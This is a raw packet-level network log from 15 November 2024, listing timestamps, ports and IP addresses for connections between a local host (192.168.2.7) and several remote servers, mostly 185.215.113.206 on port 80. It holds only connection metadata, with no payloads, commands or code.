Nov 15, 2024 09:55:41.092381001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092391968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092405081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092415094 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092436075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092441082 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092449903 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092478037 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092499018 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092541933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092554092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092564106 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092576027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092586994 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092586994 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092602968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092612028 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092617989 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092628956 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092643976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092653990 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092674017 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092677116 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.092686892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.092725039 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.127697945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.127717018 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.127774000 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.134967089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.135024071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.135062933 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.135083914 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.140299082 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.140387058 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.140465975 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.140856981 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.140873909 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.140885115 CET	49919	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.140892029 CET	443	49919	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.145220041 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.145268917 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.145339966 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.145523071 CET	49930	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.145544052 CET	443	49930	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.157258034 CET	443	49920	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.157347918 CET	443	49920	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.157407045 CET	49920	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.157581091 CET	49920	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.157599926 CET	443	49920	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.157613039 CET	49920	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.157622099 CET	443	49920	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.161288977 CET	49931	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.161331892 CET	443	49931	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.161405087 CET	49931	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.161762953 CET	49931	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.161776066 CET	443	49931	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.172204971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.172221899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.172243118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.172255039 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.172264099 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.172274113 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.172283888 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.172296047 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.172296047 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.172297001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.172353029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.199512005 CET	49932	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:41.199565887 CET	443	49932	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:41.199636936 CET	49932	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:41.200014114 CET	49933	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:41.200072050 CET	443	49933	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:41.200141907 CET	49933	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:41.200297117 CET	49932	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:41.200309992 CET	443	49932	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:41.200496912 CET	49933	443	192.168.2.7	162.159.61.3
Nov 15, 2024 09:55:41.200511932 CET	443	49933	162.159.61.3	192.168.2.7
Nov 15, 2024 09:55:41.209377050 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209407091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209422112 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209433079 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209446907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209460974 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209465027 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.209522963 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.209563971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209577084 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209589005 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209600925 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209614038 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209614038 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.209628105 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209634066 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.209656954 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.209681034 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.209681988 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209717989 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.209781885 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209822893 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.209858894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209902048 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.209906101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209920883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209945917 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.209961891 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.209985018 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.209995985 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210001945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210011959 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210026026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210030079 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210038900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210055113 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210079908 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210114002 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210125923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210139990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210150957 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210150957 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210165977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210176945 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210179090 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210203886 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210217953 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210249901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210262060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210273981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210284948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210284948 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210300922 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210303068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210319996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210345984 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210376024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210390091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210402012 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210412979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210414886 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210426092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210433960 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210445881 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210462093 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210462093 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210475922 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210495949 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210498095 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210511923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210522890 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210536957 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210561037 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210659027 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210670948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210689068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210695028 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210705042 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210715055 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210719109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210731030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210741997 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210741997 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210755110 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210762024 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210767984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210782051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210793018 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210800886 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210822105 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210825920 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210835934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210849047 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210856915 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210870028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210874081 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210881948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210894108 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210897923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210911989 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.210916996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210932016 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210942030 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.210953951 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211052895 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211066008 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211076975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211088896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211093903 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211101055 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211107969 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211113930 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211126089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211136103 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211138010 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211152077 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211154938 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211164951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211174011 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211188078 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211194992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211206913 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211214066 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211230040 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211239100 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211245060 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211255074 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211266994 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211277008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211280107 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211289883 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211292028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211308002 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211327076 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211370945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211384058 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211396933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211407900 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211410046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211424112 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211431980 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211436987 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211456060 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211481094 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211483002 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211488962 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211494923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211500883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211532116 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211617947 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211631060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211642981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211654902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211656094 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211668015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211682081 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211682081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211695910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211705923 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211709023 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211721897 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211721897 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211743116 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211755991 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211757898 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211767912 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211781979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211786032 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211795092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211807013 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.211807966 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211833954 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.211847067 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.246448994 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.246469975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.246556044 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.254165888 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.254185915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.254236937 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.254276037 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.269064903 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.269923925 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.269952059 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.270705938 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.270715952 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.291088104 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.291409016 CET	49924	443	192.168.2.7	152.195.19.97
Nov 15, 2024 09:55:41.291481018 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.291805029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.291817904 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.291834116 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.291853905 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.291866064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.291878939 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.291883945 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.291925907 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.292593002 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.292676926 CET	49924	443	192.168.2.7	152.195.19.97
Nov 15, 2024 09:55:41.293931961 CET	49924	443	192.168.2.7	152.195.19.97
Nov 15, 2024 09:55:41.294013977 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.294147968 CET	49924	443	192.168.2.7	152.195.19.97
Nov 15, 2024 09:55:41.294176102 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.297035933 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.297255993 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.297281027 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.297641993 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.298727989 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.298830986 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.298947096 CET	49923	443	192.168.2.7	13.107.246.57
Nov 15, 2024 09:55:41.312820911 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.313937902 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.313975096 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.314704895 CET	49922	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.314722061 CET	443	49922	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.328162909 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328178883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328200102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328212976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328224897 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328237057 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328244925 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.328248024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328260899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328273058 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328285933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328291893 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.328296900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328310966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328316927 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.328324080 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.328336000 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.328366041 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.339343071 CET	443	49923	13.107.246.57	192.168.2.7
Nov 15, 2024 09:55:41.385795116 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:41.390786886 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:41.397519112 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.398127079 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.398183107 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.398185968 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.398235083 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.398273945 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.398296118 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.398319006 CET	49921	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.398324966 CET	443	49921	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.412364960 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.412399054 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.412468910 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.412635088 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:41.412641048 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:41.421086073 CET	49924	443	192.168.2.7	152.195.19.97
Nov 15, 2024 09:55:41.425143003 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.426177979 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.426188946 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.426202059 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.426213026 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.426259041 CET	49924	443	192.168.2.7	152.195.19.97
Nov 15, 2024 09:55:41.426274061 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.426290989 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.426310062 CET	49924	443	192.168.2.7	152.195.19.97
Nov 15, 2024 09:55:41.426333904 CET	49924	443	192.168.2.7	152.195.19.97
Nov 15, 2024 09:55:41.426579952 CET	49924	443	192.168.2.7	152.195.19.97
Nov 15, 2024 09:55:41.426594019 CET	443	49924	152.195.19.97	192.168.2.7
Nov 15, 2024 09:55:41.431983948 CET	443	49927	13.107.246.45	192.168.2.7
